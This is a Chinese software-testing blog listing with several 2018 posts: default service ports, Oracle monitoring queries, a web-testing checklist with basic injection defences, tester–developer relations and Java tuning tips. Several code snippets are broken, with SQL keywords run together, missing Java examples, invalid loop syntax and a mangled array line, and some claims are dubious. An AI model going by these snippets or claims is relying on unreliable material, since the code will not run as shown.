JBOSS,默认的端口号为8080;

TOMCAT,默认的端口号为8080;

WIN2003远程登陆,默认的端口号为3389;

Symantec AV/Filter for MSE,默认端口号为 8081;

Oracle 数据库,默认的端口号为1521;

ORACLE EMCTL,默认的端口号为1158;

Oracle XDB(XML 数据库),默认的端口号为8080;

Oracle XDB FTP服务,默认的端口号为2100;

MS SQL*SERVER数据库server,默认的端口号为1433/tcp 1433/udp;

MS SQL*SERVER数据库monitor,默认的端口号为1434/tcp 1434/udp;

总结:

http是HTTP协议运行在TCP之上。所有传输的内容都是明文,客户端和服务器端都无法验证对方的身份。https是HTTP运行在SSL/TLS之上,SSL/TLS运行在TCP之上。所有传输的内容都经过加密,加密采用对称加密,但对称加密的密钥用服务器方的证书进行了非对称加密。此外客户端可以验证服务器端的身份,如果配置了客户端验证,服务器方也可以验证客户端的身份。简单来说,就是加密与不加密区别。比如在公共场所使用服务的时候,有https就用https。而http是明文传输的,如果有人抓到数据包,你在一个http request里的数据都能见到。

欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                      群:                     755431660 ​

posted @ 2018-11-09 17:48 51testing 阅读(66) | 评论 (0) | 编辑 收藏
 
性能测试常用Oracle语句,这10个果断收藏了!

数据库的性能优化是个非常复杂的事情,熟悉Oracle的专家能手更是数不胜数,所以虽说我已经入行软件测试5年之久,但也没敢写过Oracle。

直到最近,我认识了一位资深Oracle大师,我竟然发现大师有几个地方说错了,主要是在理论联系实际的问题分析、AWR报告解读方面,提问之后竟然把大师挂在了台上。后来想想,大师也有不懂的,我怕什么呢,写!下面我就和大家分享下,从性能测试的角度看Oracle。

oracle的性能测试主要是模拟大量的sql语句操作,来对数据库服务器进行加压。在测试前,需要准备以下要模拟的sql语句,测试脚本,并将测试控制机、测试加压机、被测数据库服务器准备妥当。

Oracle数据库性能优缺点
优点
1、能在所有主流平台上运行(包括 windows)。完全支持所有的工业标准。采用完全开放策略。可以使客户选择最适合的解决方案。对开发商全力支持。
2、平行服务器通过使一组结点共享同一簇中的工作来扩展windownt的能力,提供高可用性和高伸缩性的簇的解决方案。 
3、如果windowsNT不能满足需要, 用户可以把数据库移到UNIX中。
4、安全性方面,性能最高。
5、客户端支持及应用模式 ,多层次网络计算,支持多种工业标准,可以用ODBC,JDBC,OCI等网络客户连接式要求,可根据实际系统需求构造数据库。
6、采用标准的SQL结构化查询语言。
7、具有丰富的开发工具,覆盖开发周期的各阶段。
8、支持大型数据库,数据类型支持数字、字符、大至2GB的二进制数据,为数据库的面向对象存储提供数据支持。
9、具有第四代语言的开发工具(SQL*FORMS、SQL*REPORTS、SQL*MENU等)。
10、具有字符界面和图形界面,易于开发。
11、通过SQL*DBA控制用户权限,提供数据保护功能,监控数据库的运行状态,调整数据缓冲区的大小。
12、分布优化查询功能。
13、具有数据透明、网络透明,支持异种网络、异构数据库系统。并行处理采用动态数据分片技术。
14、支持客户机/服务器体系结构及混合的体系结构(集中式、分布式、客户机/服务器)。
15、实现了两阶段提交、多线索查询手段。
16、数据安全保护措施:没有读锁,采取快照SNAP方式完全消除了分布读写冲突。自动检测死锁和冲突并解决。
17、数据安全级别为C2级(最高级)。

18、数据库内模支持多字节码制,支持多种语言文字编码。
19、具有面向制造系统的管理信息系统和财务系统应用系统。
20、WORKGROUP/2000具有ORACLE7WORKGROUP服务器,POWER OBJECTS(图形开发环境,支持OS/2、UNIX、WINDOWS/NT平台。
21、在中国的销售份额占50%以上。 
缺点
1、管理维护麻烦一些;
2、数据库崩溃后回复很麻烦,因为他把很多东西放在内存里;
3、数据库连接要慢些,最好用连接池;
4、大对象不好用,vchar2字段太短,不够用;
5、管理员的工作烦,且经验非常重要;
6、对硬件的要求很高;

性能测试常用Oracle语句

显示数据库当前的连接数:

selectcount(*) from v$process;

显示数据库最大连接数:

selectvalue from v$parameter where name ='processes' 

修改最大Oracle最大连接数:

alter systemset processes = 300 scope = spfile;

显示当前的session连接数:

selectcount(*) fromv$session

查看当前有哪些用户正在使用数据:

SELECT osuser,a.username,cpu_time/executions/1000000||'s', sql_fulltext,machine fromv$session a, v$sqlarea b where a.sql_address =b.address order by cpu_time/executionsdesc;

查看数据库中SGA:

System globalarea (SGA),system global area(PGA);

查看连接oracle的所有机器的连接数:

selectmachine,count(*) fromv$session groupbymachine;

查看连接oracle的所有机器的连接数和状态:

selectmachine,status,count(*) fromv$session groupbymachine,status orderbystatus;

Oracle 11g设置内存自动管理:

​ 

查看消耗磁盘读取最多的SQL Top 5:

selectdisk_reads,sql_text,SQL_FULLTEXT

from (selectsql_text,disk_reads,SQL_FULLTEXT,

  dense_rank() over

    (order by disk_reads desc) disk_reads_rank

  from v$sql)

wheredisk_reads_rank <=5;

 

欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                     群:                    755431660

posted @ 2018-11-08 21:53 51testing 阅读(110) | 评论 (0) | 编辑 收藏
 
软件测试员必备:Web测试中需要注意的16个小细节

随着Internet和Intranet/Extranet的快速增长,Web已经对商业、工业、银行、财政、教育、政府和娱乐及我们的工作和生活产生了深远的影响。许多传统的信息和数据库系统正在被移植到互联网上,电子商务迅速增长,早已超过了国界。范围广泛的、复杂的分布式应用正在Web环境中出现。Web的流行和无所不在,是因为它能提供支持所有类型内容连接的信息发布,容易为最终用户存取。

总结下遇到的web测试的时候需要注意的地方:

1、页面显示部分

(1)首先关注页面是否能显示完整,包括不同浏览器的是否能完整显示,在实际测试中经常发现有的页面或者是页面的弹窗不能完全显示

(2)页面中的动画效果或者字体效果是否能正确显示

(3)页面中有些表单项与输入框,输入域以及下拉框等是否存在默认提示,是否存在部分提示部分不提示的情况

(4)数据列表中存在多条数据是否分页显示,以及分页操作后页面是否正常跳转

2、页面分辨率:

页面版式在 640x400、600x800 或 1024x768 的分辨率模式下是否显示正常? 字体是否太小以至于无法浏览? 或者是太大? 文本和图片是否对齐?

通常是计算机的默认分辨率,但是还是会有一些老式电脑存在1024*768的情况

3、单项功能测试

a:连续增加

注意:增加完成后查看数据列表中,不显示或显示暂无的字段,观察是否没有增加进去

b:增加后删除

注意:删除是否有提示信息,点击确定方可删除

c:增加删除再增加

d:连续删除

e:增加后修改

注意:修改过程中如果修改了下拉框表单项,对应的数据是否发生改变

f:连续修改

4、浏览器的兼容性:

浏览器是Web客户端最核心的构件,来自不同厂商的浏览器对Java、javascript、 ActiveX、 plug-ins或不同的HTML规格有不同的支持。测试浏览器兼容性的一个方法是创建一个兼容性矩阵。在这个矩阵中,测试不同厂商、不同版本的浏览器对某些构件和设置的适应性。

5、易用性:

有些用户在浏览网页时喜欢使用键盘上的快捷键,因此在测试时要注意快捷键是否设置。通常需要设置的快捷键有以下几个。

Tab键的使用:页面中支持tab按键切换

Enter键的使用:页面中的某些确定按钮可以使用enter键盘替代

前进和后退:用户前进和后退有可能会造成数据不完整的提交,重复提交,或者其他的显示问题

用户删除某个数据前,需要提示用户是否删除,默认焦点选择为“否”

页面的提示语言,js提示语言,程序提示语言:

提示风格不一样,或者表达不够清晰

6、微软语言标准:

全角字符和半角字符都要使用一个空格分开

英文和数字直接要有空格分开

汉字和英文,数字要有空格分开

带有汉字的话要用全角字符

语言中不要混用全角和半角标点

在语言中,永远不要用“你”这个字,要做进一步的步骤描叙的时候,要多用“请”字

7、文字的缩略和折行:

输入框提交很长的字符,并且不折行,则提交后,页面有可能被拉的非常长,如果要将文字后面的一些文字处理为省略号,需要注意不要将中文截成半个字符

8、图片的显示和链接:

图片是否增加链接通常被开发人员忽略

图片的显示位置通常会显示不同像素大小和比例的图,所以要明确定义图片的处理策略

9、重复提交:

用户提交数据页面,用户有可能连续多次点击提交按钮,造成数据的重复提交

用户点击“提交”后,将按钮变成Disable状态

10、输入判断问题:

所有键盘输入的特殊字符,均可以正常保存

需要特别出处理英文单引号,英文双引号等引起的程序错误的问题

需要处理“<”“/” “\”等容易保存出错的符号

做出特殊模块的字符规划

11、多个IE同时访问的情况:

用户可能打开不同的IE使用相同的账户去进行操作,数据是否一致性和同步的问题

多个IE使用不同用户,cookie操作会不会出现用户信息混乱的问题

12、安全考虑:

不要把密码等敏感的用户信息明文的显示在url中

即使是传递密码参数,也不要用pwd,passpord这样的参数名称来进行传递,防止被截获

要在传递参数的操作中使用NoCache参数,防止将url参数进行缓存

13、防止Sql注入:

不要把数据库或程序的如何报错信息显示在页面上

最好程序能够将select、update、delete 这些关键字都过滤掉,不让用户提交包含这些数据的信息

数据库中设计到操作权限的表名和字段名别用很通俗易懂的名字

输入框尽量过滤掉“<>”这样的字符,防止javascript攻击

14、关于Cookie:

Cookies通常用来存储用户信息和用户在某应用系统的操作,当一个用户使用Cookies访问了某一个应用系统时,Web服务器将发送关于用户的信息,把该信息以Cookies的形式存储在客户端计算机上,这可用来创建动态和自定义页面或者存储登陆等信息。

注意点:

Cookie没有设定过期时间

IE不支持Cookie的时候没有如何提示信息

Cookie中的敏感信息没有进行加密

15、各种资源链接的释放:

有时候系统莫名访问不了,则有可能是数据库的链接没有释放

压力测试的时候,连接释放如果效率不高,则有可能出现大量连接超时失败

预防:系统资源的释放过程,最好通过代码review的方式来互相监督

16、关于Keepalive的设置:

如果需要在一个连接同时获取多个资源,则需要打开apache或resin的Keepalive参数为On,来提高系统的处理能力,减少多次建立连接所消耗的资源,如果大量的处理只是一次性连接,则不要打开。

预防:在实际工作中,需要将keepalive分别设置为On或者Off来验证哪个设置的性能更好。

系统上线后的log配置:

上线以后,要关闭无用大量调试log信息,不要打开过多的log

总结
基于Web的系统测试与传统的软件测试既有相同之处,也有不同的地方,对软件测试提出了新的挑战。基于Web的系统测试不但需要检查和验证是否按照设计的要求运行,而且还要评价系统在不同用户的浏览器端的显示是否合适。重要的是,还要从最终用户的角度进行安全性和可用性测试。

​欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                      群:                     755431660 

posted @ 2018-11-07 17:59 51testing 阅读(135) | 评论 (0) | 编辑 收藏
 
对不起,不知道这些,我劝你还是别做软件测试员了!

到今年,我从事软件测试行业,已经有七、八个春秋了,也算是一个资深的软件测试工程师,目前在上海一家500强企业任职软件测试架构师。我知道,在当今高速发展的信息社会,

计算机和电子技术越来越受到人们的重视,以软件为代表的计算机行业正在以一种井喷式的发展趋势。软件测试得到了许多科研单位和企业公司的大力重视,我国的软件测试行业发展迅速。软件测试工程师的就业前景和薪资待遇也大大提升。

下面我就以我多年的经验谈谈软件测试这一行的困境和解决办法,也许可以帮助你走出现在的疑惑和不解。

要说测试人员职业生涯当中最在意也是最绕不开的一个终极话题就是如何和开发人员相处。

相信很多测试人员在面试的时候也遇到过这个问题:

你是如何和开发人员相(si)处(bi)的呢?

要说起测试人员和开发人员的博弈,就不得不提到一个著名的思维测试-囚徒困境。

在这场著名的思维试验中,两个罪犯即两个同案犯被逮捕了,他们被分别关到两个牢房里接受审讯。他们都被告知:"如果你保持沉默,你会被判处一年徒刑;如果你出卖同伴,你会获得自由;但如果你的同伴出卖了你,你就会蹲两年大狱。"出于竞争性的私利"两个囚徒实际上都有动力去出卖对方。然而,就如同下图所显示的,如果两个囚徒互相出卖,则他们获得的结果是一起蹲两年大狱,如果把这两个囚徒视为一个整体,则这个结局对整体来说是最糟糕的;但如果他们是一条心,则他们获得的结局是都坐一年牢,如果把这两个囚徒视为一个整体,则这个结局对整体来说是最好的。"

看完上面的试验过程,有没有觉得测试人员和开发人员的相爱相杀关系很像上图中的囚徒困境。

为了早日交付可用的功能,测试和开发团队是需要携手共进的。但是在很多的组织里面,特别是在泰勒主义深入骨髓的瀑布式开发模式中,测试人员仅仅是在接收了开发人员提交的代码后不断的输出他们的检查结果。注意,在这里,我使用的是 **检查**而不是测试,因为我认为这个时候的测试人员所做的事情就是把预测结果和实际开发出来的功能做着一一对比的工作而不是去做的真正的测试行为。

所以,此时的测试人员仅仅把开发人员简单地看作测试人员能够要到一些什么东西,并且要输出一些什么东西的对象。随着敏捷测试的推进,此现象在逐步改善和演化,开始将开发和测试之间的关系看作一张网络内各个部分之间的关系,而不是一台机器中的一个零件,你输入初始条件,它就要反馈出结果。

要打破测试和开发之间的囚徒困境,我们需要也希望能够培育出来这样的关系,当发生紧急需求时,一方能够对另一方说:"这次相信我。"然后就把功能给交付了。

当然,这里面也许需要动用到一些必要的科技手段来帮助,比如代码评审,单元测试,自动化测试等等,最重要的是,测试人员和开发人员不能再是互相割裂的两个组织或者部门,什么样的行为能够让整体获利,这才是我们在市场需求不确定的情况下能快速做出反应的关键所在。

​欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                      群:                     755431660 

posted @ 2018-11-06 17:46 51testing 阅读(84) | 评论 (0) | 编辑 收藏
 
让你月薪飙升的秘籍:Java性能调优的9个实用技巧

现实里可能没有完美无缺的代码。如果有,那么,过来,我写一段代码给你看。

Java已经成为了编程语言的骄子。Java 技术具有卓越的通用性、高效性、平台移植性和安全性,广泛应用于PC、数据中心、游戏控制台、科学超级计算机、移动电话和互联网,越来越多的企业在数据结构、算法分析、软件开发等研究设计时,都选择以Java语言作为载体。这说明Java语言已经是人们构建软件系统时主要使用的一种语言。如何让Java程序运行是一回事,而如何让它们跑的快又是另外一回事了......

下面我整理了一些Java性能调优的一些技巧,在此和大家浅浅的交流一下。

Java性能优化的重要性:

代码优化,一个很重要的课题。可能有些人觉得没用,一些细小的地方有什么好修改的,改与不改对于代码的运行效率有什么影响呢?这个问题我是这么考虑的,就像大海里面的鲸鱼一样,它吃一条小虾米有用吗?没用,但是,吃的小虾米一多之后,鲸鱼就被喂饱了。

代码优化也是一样,如果项目着眼于尽快无BUG上线,那么此时可以抓大放小,代码的细节可以不精打细磨;但是如果有足够的时间开发、维护代码,这时候就必须考虑每个可以优化的细节了,一个一个细小的优化点累积起来,对于代码的运行效率绝对是有提升的。

代码优化的目标是:

减小代码的体积

提高代码运行的效率

在我们分享基于Java的性能调优技巧之前,让我们先讨论一下这些通用的性能调优技巧。

通用性能调优的4个实用技巧

1. 在必要之前,先不要优化

这可能是最最重要的性能调优技巧之一。你应该遵循常见的最佳实践,并尝试有效地实现你的用例。但这并不意味着在证明它是必要之前,替换任何标准库或构建复杂的优化。

在大多数情况下,过早的优化占用了大量的时间,使得代码难以读取和维护。更糟糕的是,这些优化通常不会带来任何好处,因为你花费了大量时间来优化应用程序的非关键部分。

那么,你如何证明你需要优化某些东西呢?

首先,你需要确定应用程序代码的速度,例如,为所有API调用指定一个最大响应时间,或者指定在特定时间范围内导入的记录数量。完成之后,你可以度量应用程序的哪些部分太慢而需要改进。当这样做之后,那么请继续看第二个调优技巧。

2. 使用分析器来找到真正的瓶颈

在你遵循第一条建议,并确定你的应用程序的某些部分的确需要改进之后,问自己从哪里开始?

你可以用两种方法来解决这个问题:

你可以看一下你的代码,从看起来可疑或者你觉得它可能会产生问题的部分开始。

或者使用分析器,获取代码中每个部分的行为和性能的详细信息。

至于为什么应该总是遵循第二种方法。

答案应该很明显,基于分析器的方法能让你更好地理解代码的性能含义,并允许你关注最关键的部分。如果你曾经使用过分析器,你将会惊讶于代码的哪些部分造成了性能问题。然而,很多时候,你的第一次猜想会把你引向错误的方向。

3. 为整个应用程序创建性能测试套件

这是另一个帮助你避免许多意想不到问题的一般技巧,这些问题通常发生在性能改进部署到生产环境之后。你应该经常定义测试整个应用程序的性能测试套件,并在你完成性能改进之前和之后运行它。

这些额外的测试运行将帮助你识别更改的功能和性能方面的影响,并确保你不会发布一个弊大于利的更新。如果你的任务运行于应用程序的多个不同部分比如数据库或缓存,这一点尤其重要。

4. 首先解决最大的瓶颈问题

在创建了测试套件并使用分析器对应用程序进行分析之后,你就有了一个需要提高性能的问题列表,这很好,但它仍然不能回答你应该从哪里开始的问题。你可以从那些可以快速搞定的开始,亦或者从最重要的问题开始。

当然前者很诱人,因为这很快就能出结果。有时,可能需要说服其他团队成员或你的管理层,性能分析是值得的。

但总的来说,我建议首先着手处理最重要的性能问题。这将为你提供最大的性能改进,而且你可能只需要修复这些问题中的几个就可以解决你的性能需求。

在了解通用性能调优技巧之后,让我们再来仔细看看一些特定于Java的调优技巧。

Java性能调优的5个技巧

1. 使用 StringBuilder

几乎所有Java代码中你都应该考虑这个问题。避免使用+号。你可能会认为 StringBuilder 只是个语法糖,比如:

String x = "a" + args.length + "b";

会编译成

但是之后你需要根据条件来修改字符串,会发生什么事情呢?

你现在会有第二个 StringBuilder,这个 StringBuilder 本来没有存在的必要,它会消耗堆内存,给 GC 增加负担。你应该这样写:

2. 避免正则表达式

正则表达式相对便宜和方便。但是如果你在 N.O.P.E 分支 ,那很糟糕了。如果你必须在计算机密集的代码段中使用正则表达式,至少把 Pattern 的引用缓存下来,避免每次都对其重新编译:

static final Pattern HEAVY_REGEX =

Pattern.compile("(((X)*Y)*Z)*");

但是如果你的正则表达式真的很简单,就像

String[] parts = ipAddress.split("\\.");

然后你真的最好诉诸普通的 char[] 或基于索引的操作。例如下面一段代码做了同样的事情:

这也说明了为什么你不应该过早进行优化。与 split() 的版本相比,这简直不可维护。

正则表达式很有用,但需要代价。如果你在 N.O.P.E 分支 ,就必须避免正则表达式的代价。

3. 不要使用 iterator()

这个建议不太适用于常规用例,只适用于 N.O.P.E. 分支,但你也可以用用看。编写 Java-5 风格的 foreach 循环很方便。 你可以完全忽略循环内部变量,并编写:

for (String value : strings) {

// Do something useful here}

然而,每当你运行到循环内部时,如果 string 是一个 Iterable,你就要创建一个新的 Iterator 实例。如果你正在使用 ArrayList,这将会在堆上分配一个含 3 个 int 的对象:

private class Itr implements Iterator<E> {

int cursor;

int lastRet = -1;

int expectedModCount = modCount;

// ...

相反,你可以编写以下代码——等价循环体,并且在栈上仅“浪费”一个 int 值,开销低:

int size = strings.size();for (int i = 0; i < size; i++) {

String value : strings.get(i);

// Do something useful here}

… 或者,你可以选择不改变链表,在数组版本上使用同样的操作:

for (String value : stringArray) {

// Do something useful here}

关键点

从可写性和可读性以及从 API 设计的角度来看,Iterators、Iterable 和 foreach 循环都是非常有用的。但它们在堆上为每次单独的迭代创建一个小的新实例。 如果你运行这个迭代许多次,又想避免创建这个无用的实例,可以使用基于索引的迭代。

4. 不要调用这些方法

一些方法简单但开销不小。在N.O.P.E.分支示例中,我们没有在叶节点上使用这样的方法,但你可能使用到了。我们假设 JDBC 驱动程序需要耗费大量资源来计算 ResultSet.wasNull() 的值。你可能会用下列代码开发 SQL 框架:

if (type == Integer.class) {

result = (T) wasNull(rs,

Integer.valueOf(rs.getInt(index)));

}

// And then...static final <T> T wasNull(ResultSet rs, T value) throws SQLException {

return rs.wasNull() ? null : value;

}

此处逻辑每次都会在你从结果集中获得一个 int 之后立即调用 ResultSet.wasNull()。但getInt() 的约定是:

返回: 列的数目;如果这个值是 SQL NULL,这个值将返回 0。

因此,对上述问题的简单但可能有效的改进将是:

static final <T extends Number> T wasNull(

ResultSet rs, T value

) throws SQLException {

return (value == null ||

(value.intValue() == 0 && rs.wasNull()))

? null : value;

}

因此,这不需要过多考虑。

关键点

不要在算法的“叶节点”中调用开销昂贵的方法,而是缓存该调用,或者如果方法规约允许则规避之。

5. 使用基本类型和栈

上面的例子大量使用了泛型。泛型会强制对 byte、short、int 和 long 这些类型进行装箱 —— 至少在这之前:泛型会在 Java 10 和 Valhalla 项目中实现专业化。不过现在你的代码里并没实现这种约束,所以你得采取措施:

// Goes to the heapInteger i = 817598;

… 替换为下面这个:

// Stays on the stackint i = 817598;

如果你使用数组的话,情况不太妙:

// Three heap objects!Integer[] i = { 1337, 424242 };

… 替换成这个:

// One heap http://object.int[] i = { 1337, 424242 };

关键点

当你在深入 N.O.P.E. 分支时,要小心使用装箱类型。你可能会给 GC 制造很大的压力,因为它必须一直清理你的烂摊子。

有一个特别有效的办法对此进行优化,即使用某些基本类型,并为它创建一个巨大的一维数组,以及相应的定位变量来明确指出编码后的对象放在数组的哪个位置。

LGPL 授权的 trove4j 库实现了基本数据类型的集合,它看起来比 int[] 要好些。

总结:

正如你所看到的,提高应用程序的性能有时不需要做大量的工作。这篇文章中的大多数建议,其实只需要稍微的努力就可以将它们应用到代码中。

但通常最重要的建议是很编程语言无关的:

在你知道有必要之前,不要优化

使用分析器来找到真正的瓶颈

首先解决最大的瓶颈问题

​欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                      群:                     755431660 

posted @ 2018-11-05 17:49 51testing 阅读(79) | 评论 (0) | 编辑 收藏
 
好虐!一张图看懂程序员和测试之间的关系!

在开始我们今天的话题之前,我们先看一张图:

微博网友评论:

小A:最近一直在被测试按在地上反复摩擦

小B:笑死!!不够专业的测试也是浪费超级多沟通时间呀!!

小C:最后都是杰瑞赢了

小D:真的是挺悲哀的

小E:也有可能是产品和程序员

从事软件测试行业几年,合作的开发不少,说起测试和开发之间的关系,有时能和平相处,更多是矛盾重重。究其根本,矛盾都来源于bug,也终止于bug。

有些可能是心理上的矛盾,有些就直接导致了面红耳赤的争执。

测试:

每次提出一个bug都让测试重现,描述得那么清楚,自己操作下不会吗?

开发太依赖测试了,相同的bug提出一处改一处,就不知道自己检查一遍吗?

出现bug就说自己本地是好的,版本是不是不对,用户不会这么操作。

出现bug就让测试清数据,重启手机,三两下就把bug整不见了,坑……

……

开发:

这么小的bug都要开发改,影响又不大,还耗时费力,测试懂不懂项目管理,预估风险啊?

明明是客户端的bug,指派给我们服务器是几个意思?

花费了时间排查,竟然是无效bug,测试到底有没有搞清楚需求?简直是浪费时间。

明明是个P3的bug,给我报P1,至于么?

测试总是在深究bug产生原因和解决方案,测试又不懂代码,懒得解释。

……

测试和开发在工作中因为职责不一样,往往会造成分歧。

在这里我想结合我数年的开发和测试经历和各位聊一聊:

1、避免疲劳工作:疲劳工作和疲劳驾驶一样,虽然不会对生命带来危险,但是也很可怕的。疲劳的时候你不是财富的生产者而是缺陷的制造者,尤其是你在修改缺陷的时候,可能修改了一个缺陷产生了2个缺陷。当你工作觉得疲劳,建议你到楼下遛一圈,喝杯茶,或者闭目静养,然后再回来工作。

2、防止钻牛角尖:牛角前面是很窄的,我们这些高智商人的脑袋是钻不进去的。当你花了几个小时解决不了一个问题的时候,你不妨换种思维方式,看看用别的途径是否可以到达。当你使用了n种方式进行思考后还没有结果,建议你暂时放弃,去干别的事情,甚至熬到下班走人。成功=99%努力+1%的灵感,往往1%灵感比99%努力更重要------爱迪生(以前我们教育往往忽略后半句)

3、善于沟通:往往你花了数个小时工作为了解决一个问题,这个问题其实已早就被你的同事搞定。所以有了问题大家要善于沟通交流,问别人问题不等于自己无能,而正体现你会工作,善于工作;回答别人问题并不是浪费你时间,而是为你以后工作搞好关系。现在社会不承认孤单英雄,而承认合作精神。

4、调整心态:心态决定一切。不管如何,一定要时时保持良好的心态,顺境需要如此,逆境中更需要如此。大家喜欢和笑脸的人在一起,不愿意和愁眉苦脸的人在一起。情绪像甲型H1N1具有传染性。

5、提高身体素质:激烈的工作要有身体作为保障。大家要合理膳食(建议吃些谷类和粗粮,富含B族维生素,调节神经;吃些鱼头鱼脑,化学里说相似相融,中医里说吃哪补哪),充足睡眠,积极锻炼(每周保证一定量的锻炼,根据自己体质,也不可过量,一般心率控制在120以上不超过一刻钟为宜)

6、换位思考:多站在别人的角度替别人思考,往往会做出明智的学者。测试想想开发:中国的企业需求变化大,开发任务重,往往从需求,设计,研发到单元集成测试都要一个人来完成……;开发想想测试:测试有着强大的市场压力,有了缺陷客户首先会怪测试水平低。由于缺陷不确定性,测试执行难度大,软件测试工作如同排雷,不知道哪里会存在地雷,是否所有地雷都排干净。

测试如何与开发顺利合作?

测试在记录bug的时候做到合理分配,轻重缓急明晰。将bug按照严重程度进行分级管理。一般讲bug分为三级:普通、重要、紧急,具体的分级可以根据实际情况来定。将紧急的bug列入当前的目标,并指定具体的开发人员进行修复;重要的bug根据产品的规划和当前的进度情况再议;普通的bug可以暂不考虑。
这样既不影响开发主线的进度,又能较好的完成bug的修复工作,保证现有产品的良好体验,还能减少测试与开发之间的摩擦和争吵。也保证了测试对bug的良好管理,后期只需要追踪bug的状态,将已修复的bug及时归档就可以了。

总结:

很多时候不仅仅是把自己手头的工作做完就结束了,大家是在同一个团队为了同样的目标在努力。如果仅仅是为了更快的完成自己的工作而延误了别的小伙伴的工作,就最终将要达成的目标来说也是得不偿失的。
因此,在日常的工作中多站在对方的角度思考问题,多体谅对方,将自己能力范围内的工作做好,问题解决好,为对方营造一个舒适的解决问题的环境,对方自然将你的好看在眼里,记在心里。

​欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                     群:                    755431660


posted @ 2018-11-02 17:41 51testing 阅读(97) | 评论 (0) | 编辑 收藏
 
仅列出标题
共55页: First 14 15 16 17 18 19 20 21 22 Last